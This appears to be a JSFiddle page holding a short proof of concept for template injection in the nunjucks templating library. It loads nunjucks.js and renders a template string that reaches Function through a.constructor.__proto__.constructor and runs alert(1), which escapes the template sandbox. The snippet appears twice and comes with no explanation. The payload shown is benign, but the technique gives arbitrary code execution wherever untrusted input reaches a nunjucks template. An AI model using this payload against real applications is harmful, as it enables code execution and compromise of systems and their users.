JSFiddle - React, Tailwind, and code Playground
HTML
<script src="http://mozilla.github.io/nunjucks/files/nunjucks.js"></script>
JavaScript
nunjucks.renderString('{{a.constructor.__proto__.constructor("alert(1)")()}}');
<script src="http://mozilla.github.io/nunjucks/files/nunjucks.js"></script>
nunjucks.renderString('{{a.constructor.__proto__.constructor("alert(1)")()}}');